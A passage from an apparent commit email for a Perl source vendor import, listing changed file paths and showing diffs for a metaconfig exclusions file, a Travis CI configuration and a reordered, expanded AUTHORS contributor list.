    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017010
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017011
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019010
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019011
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021010
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021011
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5024000
    vendor/perl/dist/dist/Devel-PPPort/ppport_h.PL
    vendor/perl/dist/dist/Devel-PPPort/soak
    vendor/perl/dist/dist/Devel-PPPort/t/
    vendor/perl/dist/dist/Devel-PPPort/t/HvNAME.t
    vendor/perl/dist/dist/Devel-PPPort/t/MY_CXT.t
    vendor/perl/dist/dist/Devel-PPPort/t/SvPV.t
    vendor/perl/dist/dist/Devel-PPPort/t/SvREFCNT.t
    vendor/perl/dist/dist/Devel-PPPort/t/Sv_set.t
    vendor/perl/dist/dist/Devel-PPPort/t/call.t
    vendor/perl/dist/dist/Devel-PPPort/t/cop.t
    vendor/perl/dist/dist/Devel-PPPort/t/exception.t
    vendor/perl/dist/dist/Devel-PPPort/t/format.t
    vendor/perl/dist/dist/Devel-PPPort/t/grok.t
    vendor/perl/dist/dist/Devel-PPPort/t/gv.t
    vendor/perl/dist/dist/Devel-PPPort/t/limits.t
    vendor/perl/dist/dist/Devel-PPPort/t/mPUSH.t
    vendor/perl/dist/dist/Devel-PPPort/t/magic.t
    vendor/perl/dist/dist/Devel-PPPort/t/memory.t
    vendor/perl/dist/dist/Devel-PPPort/t/mess.t
    vendor/perl/dist/dist/Devel-PPPort/t/misc.t
    vendor/perl/dist/dist/Devel-PPPort/t/newCONSTSUB.t
    vendor/perl/dist/dist/Devel-PPPort/t/newRV.t
    vendor/perl/dist/dist/Devel-PPPort/t/newSV_type.t
    vendor/perl/dist/dist/Devel-PPPort/t/newSVpv.t
    vendor/perl/dist/dist/Devel-PPPort/t/podtest.t
    vendor/perl/dist/dist/Devel-PPPort/t/ppphtest.t
    vendor/perl/dist/dist/Devel-PPPort/t/pv_tools.t
    vendor/perl/dist/dist/Devel-PPPort/t/pvs.t
    vendor/perl/dist/dist/Devel-PPPort/t/shared_pv.t
    vendor/perl/dist/dist/Devel-PPPort/t/snprintf.t
    vendor/perl/dist/dist/Devel-PPPort/t/sprintf.t
    vendor/perl/dist/dist/Devel-PPPort/t/strlfuncs.t
    vendor/perl/dist/dist/Devel-PPPort/t/sv_xpvf.t
    vendor/perl/dist/dist/Devel-PPPort/t/testutil.pl
    vendor/perl/dist/dist/Devel-PPPort/t/threads.t
    vendor/perl/dist/dist/Devel-PPPort/t/uv.t
    vendor/perl/dist/dist/Devel-PPPort/t/variables.t
    vendor/perl/dist/dist/Devel-PPPort/t/warn.t
    vendor/perl/dist/dist/Devel-PPPort/typemap
    vendor/perl/dist/dist/Module-CoreList/t/maintainer.t
    vendor/perl/dist/dist/PathTools/MANIFEST
    vendor/perl/dist/dist/PathTools/META.json
    vendor/perl/dist/dist/PathTools/META.yml
    vendor/perl/dist/dist/PathTools/t/cwd_enoent.t
    vendor/perl/dist/dist/Storable/Storable.pm.PL
    vendor/perl/dist/dist/Storable/__Storable__.pm
    vendor/perl/dist/dist/Storable/stacksize
    vendor/perl/dist/dist/Storable/t/CVE-2015-1592.inc
    vendor/perl/dist/dist/Storable/t/CVE-2015-1592.t
    vendor/perl/dist/dist/Storable/t/flags.t
    vendor/perl/dist/dist/Storable/t/huge.t
    vendor/perl/dist/dist/Storable/t/hugeids.t
    vendor/perl/dist/dist/Storable/t/regexp.t
    vendor/perl/dist/dist/Storable/t/tied_reify.t
    vendor/perl/dist/dist/Term-ReadLine/t/ReadLine-STDERR.t
    vendor/perl/dist/dist/Unicode-Normalize/Changes
    vendor/perl/dist/dist/base/t/incdot.t
    vendor/perl/dist/dist/base/t/lib/BaseIncMandatory.pm
    vendor/perl/dist/dist/base/t/lib/BaseIncOptional.pm
    vendor/perl/dist/dist/if/MANIFEST
    vendor/perl/dist/dist/if/META.json
    vendor/perl/dist/dist/if/META.yml
    vendor/perl/dist/dist/threads/t/unique.t
    vendor/perl/dist/ext/B/t/strict.t
    vendor/perl/dist/ext/File-Glob/t/rt131211.t
    vendor/perl/dist/ext/PerlIO-via/t/thread.t
    vendor/perl/dist/ext/XS-APItest/t/get.t
    vendor/perl/dist/ext/XS-APItest/t/handy00.t
    vendor/perl/dist/ext/XS-APItest/t/handy01.t
    vendor/perl/dist/ext/XS-APItest/t/handy02.t
    vendor/perl/dist/ext/XS-APItest/t/handy03.t
    vendor/perl/dist/ext/XS-APItest/t/handy04.t
    vendor/perl/dist/ext/XS-APItest/t/handy05.t
    vendor/perl/dist/ext/XS-APItest/t/handy06.t
    vendor/perl/dist/ext/XS-APItest/t/handy07.t
    vendor/perl/dist/ext/XS-APItest/t/handy08.t
    vendor/perl/dist/ext/XS-APItest/t/handy09.t
    vendor/perl/dist/ext/XS-APItest/t/keyword_plugin_threads.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_to_bytes.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn00.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn01.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn02.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn03.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn04.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn05.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn06.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn07.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn08.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn09.t
    vendor/perl/dist/hv_macro.h
    vendor/perl/dist/lib/perl5db/t/rt-120174
    vendor/perl/dist/lib/unicore/VerticalOrientation.txt
    vendor/perl/dist/perl_inc_macro.h
    vendor/perl/dist/perl_langinfo.h
    vendor/perl/dist/pod/perl5224delta.pod
    vendor/perl/dist/pod/perl5242delta.pod
    vendor/perl/dist/pod/perl5243delta.pod
    vendor/perl/dist/pod/perl5244delta.pod
    vendor/perl/dist/pod/perl5260delta.pod
    vendor/perl/dist/pod/perl5261delta.pod
    vendor/perl/dist/pod/perl5262delta.pod
    vendor/perl/dist/regen/mph.pl
    vendor/perl/dist/sbox32_hash.h
    vendor/perl/dist/stadtx_hash.h
    vendor/perl/dist/t/bigmem/hash.t
    vendor/perl/dist/t/comp/filter_exception.t
    vendor/perl/dist/t/io/socketpair.t
    vendor/perl/dist/t/lib/croak/regcomp
    vendor/perl/dist/t/op/catch.t
    vendor/perl/dist/t/op/stash_parse_gv.t
    vendor/perl/dist/t/op/stat_errors.t
    vendor/perl/dist/t/porting/bench/
    vendor/perl/dist/t/porting/bench/badhash
    vendor/perl/dist/t/porting/bench/badname
    vendor/perl/dist/t/porting/bench/badversion.json
    vendor/perl/dist/t/porting/bench/callsub.json
    vendor/perl/dist/t/porting/bench/callsub2.json
    vendor/perl/dist/t/porting/bench/oddentry
    vendor/perl/dist/t/porting/bench/ret0
    vendor/perl/dist/t/porting/bench/synerr
    vendor/perl/dist/t/porting/bench_selftest.t
    vendor/perl/dist/t/re/alpha_assertions.t
    vendor/perl/dist/t/re/script_run.t
    vendor/perl/dist/uni_keywords.h
    vendor/perl/dist/zaphod32_hash.h

Removed Paths:
-------------
    vendor/perl/dist/cpan/Devel-PPPort/
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/API.pod
    vendor/perl/dist/cpan/Locale-Codes/t/country.t
    vendor/perl/dist/cpan/Locale-Codes/t/currency.t
    vendor/perl/dist/cpan/Locale-Codes/t/langext.t
    vendor/perl/dist/cpan/Locale-Codes/t/langfam.t
    vendor/perl/dist/cpan/Locale-Codes/t/language.t
    vendor/perl/dist/cpan/Locale-Codes/t/langvar.t
    vendor/perl/dist/cpan/Locale-Codes/t/script.t
    vendor/perl/dist/cpan/Locale-Codes/t/vals.pl
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Info.pm
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Info.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/HashBase.t
    vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm
    vendor/perl/dist/dist/Storable/Storable.pm
    vendor/perl/dist/ext/SDBM_File/COMPARE
    vendor/perl/dist/ext/SDBM_File/linux.patches
    vendor/perl/dist/ext/SDBM_File/makefile.sdbm
    vendor/perl/dist/ext/XS-APItest/t/handy0.t
    vendor/perl/dist/ext/XS-APItest/t/handy1.t
    vendor/perl/dist/ext/XS-APItest/t/handy2.t
    vendor/perl/dist/ext/XS-APItest/t/handy3.t
    vendor/perl/dist/ext/XS-APItest/t/handy4.t
    vendor/perl/dist/ext/XS-APItest/t/handy5.t
    vendor/perl/dist/ext/XS-APItest/t/handy6.t
    vendor/perl/dist/ext/XS-APItest/t/handy7.t
    vendor/perl/dist/ext/XS-APItest/t/handy8.t
    vendor/perl/dist/ext/XS-APItest/t/handy9.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_malformed.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn0.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn1.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn2.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn3.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn4.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn5.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn6.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn7.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn8.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn9.t
    vendor/perl/dist/hints/genix.sh
    vendor/perl/dist/hints/powerux.sh
    vendor/perl/dist/t/uni/heavy.t

Added: vendor/perl/dist/.metaconf-exclusions.txt
===================================================================
--- vendor/perl/dist/.metaconf-exclusions.txt	                        (rev 0)
+++ vendor/perl/dist/.metaconf-exclusions.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,26 @@
+# This file is used when building the Configure script from the metaconfig
+# units. Ordinarily, if any *.c or *.h or *.sh file mentions a symbol that can
+# be provided by a metaconfig unit, the generated Configure will include the
+# relevant probe. But in some cases, that's inappropriate: we have symbols that
+# we no longer need to probe for, but must define in perl.h for backwards
+# compatibilty with XS modules. Also, our C files contain tokens like "index"
+# that are used as the names of Perl builtins, but would be treated by
+# metaconfig as implicit requests for a particular unit that we don't need.
+#
+# Previously, we've used customised "stub" versions of metaconfig units to
+# handle this situation, but that doesn't scale (and, in particular, requires
+# us to maintain those customised units for as long as the relevant symbols are
+# defined by the units in the upstream dist package).
+#
+# A better approach is to list those symbols here (and invoke metaconfig with
+# the "-X .metaconf-exclusions.txt" option when generating Configure); that
+# will prevent the relevant units from being used.
+#
+# See also metaconfig.h, which works in the other direction — it forces units
+# to be included, even before specific code using the relevant symbols has been
+# written.
+
+I_LIMITS
+I_STDARG
+index
+rindex

Added: vendor/perl/dist/.travis.yml
===================================================================
--- vendor/perl/dist/.travis.yml	                        (rev 0)
+++ vendor/perl/dist/.travis.yml	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,70 @@
+language: c
+cache: ccache
+
+os:
+  - linux
+  - osx
+
+compiler:
+  - gcc
+  - clang
+
+install:
+  - git fetch --unshallow --tags # t/porting/cmp_version.t
+  # install & enable ccache on osx
+  - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then brew update && brew install ccache; fi
+  - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then export PATH="/usr/local/opt/ccache/libexec:$PATH"; fi
+
+env:
+    global:
+        - JOBS=4
+    matrix:
+        - CONFIGURE_ARGS='-Uusethreads'
+        - CONFIGURE_ARGS='-Dusethreads'
+
+# only use gcc on linux, and only use clang on osx for now
+matrix:
+  exclude:
+  - compiler: clang
+    os: linux
+  - compiler: gcc
+    os: osx
+
+script:
+  - ./Configure -des -Dusedevel -Uversiononly -Dcc="ccache $CC" $CONFIGURE_ARGS -Dprefix=$HOME/perl-blead -DDEBUGGING
+# all script commands are always run
+# rather than using one very long oneliner using '&&', just always check the build status
+  - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then TEST_JOBS=$JOBS make -j$JOBS test_harness_notty; fi
+  - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then make -j$JOBS install; fi
+  - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then $HOME/perl-blead/bin/perlivp; fi
+
+addons:
+    apt:
+        packages:
+            - file
+            - cpio
+            - libdb-dev
+            - libgdbm-dev
+            - zlib1g-dev
+            - libbz2-dev
+
+notifications:
+## use dedicated email for smoking ?
+#  email:
+#    recipients:
+#      - perl5-porters at perl.org
+#    on_success: never  # default: change
+#    on_failure: always # default: always
+  irc:
+    nick: travisci
+    channels:
+      - "irc.perl.org#p5p-qa"
+#      - "irc.perl.org#bot-test"
+    template:
+      - "Report for %{repository} (%{commit}) from %{author} (%{elapsed_time})"
+      - "Status: %{message}"
+      - "Build URL: %{build_url}"
+      - "GitHub URL: https://github.com/p5h/perl5demo/commit/%{commit}" # adjust this url to use the production repo
+    on_success: change # default: always
+    on_failure: always # default: always
+#    use_notice: true
\ No newline at end of file

Modified: vendor/perl/dist/AUTHORS
===================================================================
--- vendor/perl/dist/AUTHORS	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/AUTHORS	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,18 +18,17 @@
 -- 
 A. C. Yardley			<yardley at tanet.net>
 A. Sinan Unur			<nanis at cpan.org>
+Aaron B. Dossett		<aaron at iglou.com>
 Aaron Crane			<arc at cpan.org>
-Aaron B. Dossett		<aaron at iglou.com>
 Aaron J. Mackey			<ajm6q at virginia.edu>
 Aaron Priven			<aaron at priven.com>
 Aaron Trevena			<aaaron.trevena at gmail.com>
-Achim Gratz			<achim.gratz at stromeko.de>
-Augustina Blair			<auggy at cpan.org>
 Abe Timmerman			<abe at ztreet.demon.nl>
 Abhijit Menon-Sen		<ams at toroid.org>
 Abigail				<abigail at abigail.be>
 Abir Viqar			<abiviq at hushmail.com>
 Achim Bohnet			<ach at mpe.mpg.de>
+Achim Gratz			<achim.gratz at stromeko.de>
 Adam Flott			<adam at npjh.com>
 Adam Kennedy			<adam at ali.as>
 Adam Krolnik			<adamk at gypsy.cyrix.com>
@@ -69,6 +68,7 @@
 Alexander Smishlajev		<als at turnhere.com>
 Alexander Voronov		<alexander-voronov at yandex.ru>
 Alexandr Ciornii		<alexchorny at gmail.com>
+Alexandr Savca			<alexandr.savca89 at gmail.com>
 Alexandre (Midnite) Jousset	<mid at gtmp.org>
 Alexei Alexandrov		<alexei.alexandrov at gmail.com>
 Alexey Mahotkin			<alexm at netli.com>
@@ -128,8 +128,9 @@
 Artur Bergman			<artur at contiller.se>
 Arvan				<apritchard at zeus.com>
 Ash Berlin			<ash at cpan.org>
-Ask Bjöern Hansen		<ask at develooper.com>
+Ask Bjørn Hansen		<ask at develooper.com>
 Audrey Tang			<cpan at audreyt.org>
+Augustina Blair			<auggy at cpan.org>
 Axel Boldt
 Barrie Slaymaker		<barries at slaysys.com>
 Barry Friedman
@@ -152,8 +153,6 @@
 Bill Glicker			<billg at burrelles.com>
 Billy Constantine		<wdconsta at cs.adelaide.edu.au>
 Blair Zajac			<blair at orcaware.com>
-Brandon Black			<blblack at gmail.com>
-Brian Childs			<brian at rentec.com>
 Bo Borgerson			<gigabo at gmail.com>
 Bo Johansson			<bo.johansso at lsn.se>
 Bo Lindbergh			<blgl at stacken.kth.se>
@@ -170,14 +169,15 @@
 Brad Lanam			<bll at gentoo.com>
 Bradley Dean			<bjdean at bjdean.id.au>
 Bram				<perl-rt at wizbit.be>
+Brandon Black			<blblack at gmail.com>
 Brendan Byrd			<BBYRD at CPAN.org>
 Brendan O'Dea			<bod at debian.org>
 Breno G. de Oliveira		<garu at cpan.org>
 Brent B. Powers			<powers at ml.com>
 Brent Dax			<brentdax at cpan.org>
-Brooks D Boyd
 Brian Callaghan			<callagh at itginc.com>
 Brian Carlson			<brian.carlson at cpanel.net>
+Brian Childs			<brian at rentec.com>
 Brian Clarke			<clarke at appliedmeta.com>
 brian d foy			<brian.d.foy at gmail.com>
 Brian Fraser			<fraserbn at gmail.com>
@@ -192,6 +192,7 @@
 Brian Reichert			<reichert at internet.com>
 Brian S. Cashman		<bsc at umich.edu>
 Brian Strand			<bstrand at switchmanagement.com>
+Brooks D Boyd
 Bruce Barnett			<barnett at grymoire.crd.ge.com>
 Bruce J. Keeler			<bkeelerx at iwa.dp.intel.com>
 Bruce P. Schuck			<bruce at aps.org>
@@ -222,7 +223,6 @@
 Chia-liang Kao			<clkao at clkao.org>
 Chip Salzenberg			<chip at pobox.com>
 Chip Turner			<cturner at redhat.com>
-Chun Bing Ge			<gecb at cn.ibm.com>
 chocolateboy			<chocolateboy at chocolatey.com>
 Chris Ball			<chris at cpan.org>
 Chris 'BinGOs' Williams		<chris at bingosnet.co.uk>
@@ -251,6 +251,7 @@
 Christopher J. Madsen		<perl at cjmweb.net>
 chromatic			<chromatic at wgz.org>
 Chuck Phillips			<perl at cadop.com>
+Chun Bing Ge			<gecb at cn.ibm.com>
 Chunhui Teng			<cteng at nortel.ca>
 Claes Jacobsson			<claes at surfar.nu>
 Clark Cooper			<coopercc at netheaven.com>
@@ -312,12 +313,12 @@
 David Billinghurst		<David.Billinghurst at riotinto.com.au>
 David Caldwell			<david at porkrind.org>
 David Campbell
+David Cannings			<lists at edeca.net>
 David Cantrell			<david at cantrell.org.uk>
 David Couture
 David D. Kilzer			<ddkilzer at lubricants-oil.com>
 David Denholm			<denholm at conmat.phys.soton.ac.uk>
 David Dyck			<david.dyck at fluke.com>
-David Cannings			<lists at edeca.net>
 David F. Haertig		<dfh at dwroll.lucent.com>
 David Favor			<david at davidfavor.com>
 David Feldman			<david.feldman at tudor.com>
@@ -328,7 +329,7 @@
 David Glasser			<me at davidglasser.net>
 David Golden			<dagolden at cpan.org>
 David H. Adler			<dha at panix.com>
-David H. Gutteridge             <dhgutteridge at sympatico.ca>
+David H. Gutteridge		<dhgutteridge at sympatico.ca>
 David Hammen			<hammen at gothamcity.jsc.nasa.gov>
 David J. Fiander		<davidf at mks.com>
 David Kerry			<davidk at tor.securecomputing.com>
@@ -358,6 +359,7 @@
 dLux				<dlux at spam.sch.bme.hu>
 Dmitri Tikhonov			<dmitri at cpan.org>
 Dmitry Karasik			<dk at tetsuo.karasik.eu.org>
+Dmitry Ulanov			<zprogd at gmail.com>
 Dominic Dunlop			<domo at computer.org>
 Dominic Hargreaves		<dom at earth.li>
 Dominique Dumont		<Dominique_Dumont at grenoble.hp.com>
@@ -401,6 +403,7 @@
 Erich Rickheit
 Eryq				<eryq at zeegee.com>
 Etienne Grossman		<etienne at isr.isr.ist.utl.pt>
+Eugen Konkov			<kes-kes at yandex.ru>
 Eugene Alterman			<Eugene.Alterman at bremer-inc.com>
 Evan Miller			<eam at frap.net>
 Evan Zacks			<zackse at cpan.org>
@@ -436,6 +439,7 @@
 Geoffrey T. Dairiki		<dairiki at dairiki.org>
 Georg Schwarz			<geos at epost.de>
 George Greer			<perl at greerga.m-l.org>
+George Hartzell			<georgewh at gene.com>
 George Necula			<necula at eecs.berkeley.edu>
 Geraint A Edwards		<gedge at serf.org>
 Gerard Goossen			<gerard at ggoossen.net>
@@ -472,7 +476,6 @@
 Gustaf Neumann
 Guy Decoux			<decoux at moulon.inra.fr>
 Gwyn Judd			<b.judd at xtra.co.nz>
-Heiko Eissfeldt			<heiko.eissfeldt at hexco.de>
 H.J. Lu				<hjl at nynexst.com>
 H.Merijn Brand			<h.m.brand at xs4all.nl>
 Hal Morris			<hom00 at utsglobal.com>
@@ -484,11 +487,13 @@
 Hans Ginzel			<hans at kolej.mff.cuni.cz>
 Hans Mulder			<hansmu at xs4all.nl>
 Hans Ranke			<Hans.Ranke at ei.tum.de>
+Harald Jörg			<Harald.Joerg at arcor.de>
 Harmen				<harm at dds.nl>
 Harmon S. Nine			<hnine at netarx.com>
 Harri Pasanen			<harri.pasanen at trema.com>
 Harry Edmon			<harry at atmos.washington.edu>
 Hauke D				<haukex at zero-g.net>
+Heiko Eissfeldt			<heiko.eissfeldt at hexco.de>
 Helmut Jarausch			<jarausch at numa1.igpm.rwth-aachen.de>
 Henrik Tougaard			<ht.000 at foa.dk>
 Herbert Breunung		<lichtkind at cpan.org>
@@ -531,6 +536,7 @@
 J. van Krieken			<John.van.Krieken at ATComputing.nl>
 Jacinta Richardson		<jarich at perltraining.com.au>
 Jack Shirazi			<JackS at GemStone.com>
+Jacques Germishuys		<jacquesg at striata.com>
 Jacqui Caren			<Jacqui.Caren at ig.co.uk>
 Jake Hamby			<jehamby at lightside.com>
 James				<james at rf.net>
@@ -555,7 +561,6 @@
 Jasmine Ngan			<jasmine.ngan at outlook.com>
 Jason A. Smith			<smithj4 at rpi.edu>
 Jason E. Stewart		<jason at openinformatics.com>
-Jason Hord			<pravus at cpan.org>
 Jason Shirk
 Jason Stewart			<jasons at cs.unm.edu>
 Jason Varsoke			<jjv at caesun10.msd.ray.com>
@@ -594,7 +599,7 @@
 Jim Meyering			<meyering at asic.sc.ti.com>
 Jim Miner			<jfm at winternet.com>
 Jim Richardson
-Jim Schneider			<jschneid at netilla.com>
+Jim Schneider			<james.schneider at db.com>
 Jirka Hruška			<jirka at fud.cz>
 Joachim Huober
 Joaquin Ferrero			<explorer at joaquinferrero.com>
@@ -618,6 +623,7 @@
 John Borwick			<jhborwic at unity.ncsu.edu>
 John Cerney			<j-cerney1 at ti.com>
 John D Groenveld		<groenvel at cse.psu.edu>
+John E. Malmberg		<wb8tyw at qsl.net>
 John Gardiner Myers		<jgmyers at proofpoint.com>
 John Goodyear			<johngood at us.ibm.com>
 John Hasstedt			<John.Hasstedt at sunysb.edu>
@@ -655,15 +661,17 @@
 Jonathan I. Kamens		<jik at kamens.brookline.ma.us>
 Jonathan Roy			<roy at idle.com>
 Jonathan Stowe			<jns at integration-house.com>
+Joost van Baal			<J.E.vanBaal at uvt.nl>
+Jörg Walter			<jwalt at cpan.org>
 Jos I. Boumans			<kane at dwim.org>
 Jose Auguste-Etienne		<Jose.auguste-etienne at cgss-guyane.fr>
+José Pedro Oliveira		<jpo at di.uminho.pt>
 Joseph N. Hall			<joseph at cscaper.com>
 Joseph S. Myers			<jsm28 at hermes.cam.ac.uk>
 Joshua ben Jore			<jjore at cpan.org>
 Joshua Juran			<jjuran at gmail.com>
+Joshua Pritikin			<joshua at paloalto.com>
 Joshua Rodd			<joshua at rodd.us>
-Joshua Pritikin			<joshua at paloalto.com>
-Joost van Baal			<J.E.vanBaal at uvt.nl>
 JT McDuffie			<jt at kpc.com>
 Juan Gallego			<Little.Boss at physics.mcgill.ca>
 Juerd Waalboer			<#####@juerd.nl>
@@ -672,9 +680,6 @@
 juna				<ggl.20.jj... at spamgourmet.com>
 Jungshik Shin			<jshin at mailaps.org>
 Justin Banks			<justinb at cray.com>
-John E. Malmberg		<wb8tyw at qsl.net>
-Jörg Walter			<jwalt at cpan.org>
-José Pedro Oliveira		<jpo at di.uminho.pt>
 Ka-Ping Yee			<kpyee at aw.sgi.com>
 kafka				<kafka at madrognon.net>
 Kang-min Liu			<gugod at gugod.org>
@@ -687,11 +692,13 @@
 Karsten Sperling		<spiff at phreax.net>
 Karthik Rajagopalan		<rajagopa at pauline.schrodinger.com>
 Kaveh Ghazi			<ghazi at caip.rutgers.edu>
+KAWAI Takanori			<GCD00051 at nifty.ne.jp>
 Kay Röpke			<kroepke at dolphin-services.de>
-KAWAI Takanori			<GCD00051 at nifty.ne.jp>
 Keedi Kim			<keedi at cpan.org>
 Keith Neufeld			<neufeld at fast.pvi.org>
 Keith Thompson			<Keith.S.Thompson at gmail.com>
+Ken Brown			<kbrown at cornell.edu>
+Ken Cotterill			<kencotterill at netspace.net.au>
 Ken Estes			<estes at ms.com>
 Ken Fox				<kfox at ford.com>
 Ken Hirsch			<kenhirsch at ftml.net>
@@ -730,10 +737,10 @@
 Larry Shatzer			<fugazi at zyx.net>
 Larry W. Virden			<lvirden at cas.org>
 Larry Wall			<larry at wall.org>
+Lars Dɪᴇᴄᴋᴏᴡ 迪拉斯		<daxim at cpan.org>
 Lars Hecking			<lhecking at nmrc.ucc.ie>
-Lars Dɪᴇᴄᴋᴏᴡ 迪拉斯		<daxim at cpan.org>
+Larwan Berke			<apocal at cpan.org>
 Laszlo Molnar			<laszlo.molnar at eth.ericsson.se>
-Larwan Berke			<apocal at cpan.org>
 Laurent Dami			<dami at cpan.org>
 Leif Huhn			<leif at hale.dkstat.com>
 Len Johnson			<lenjay at ibm.net>
@@ -764,7 +771,9 @@
 Marc Lehmann			<pcg at goof.com>
 Marc Paquette			<Marc.Paquette at Softimage.COM>
 Marc Simpson			<marc at 0branch.com>
+Marc-Philip Werner		<marc-philip.werner at sap.com>
 Marcel Grünauer			<marcel at codewerk.com>
+Marco Fontani			<MFONTANI at cpan.org>
 Marco Peereboom			<marco at conformal.com>
 Marcus Holland-Moritz		<mhx-perl at gmx.net>
 Marek Rouchal			<marek.rouchal at infineon.com>
@@ -818,6 +827,7 @@
 Mathias Koerber			<mathias at dnssec1.singnet.com.sg>
 Mathieu Arnold			<m at absolight.fr>
 Mats Peterson			<mats at sm6sxl.net>
+Matsumoto Yasuhiro		<mattn.jp at gmail.com>
 Matt Johnson			<matt.w.johnson at gmail.com>
 Matt Kimball
 Matt Kraai			<kraai at ftbfs.org>
@@ -833,7 +843,6 @@
 Matthias Urlichs		<smurf at noris.net>
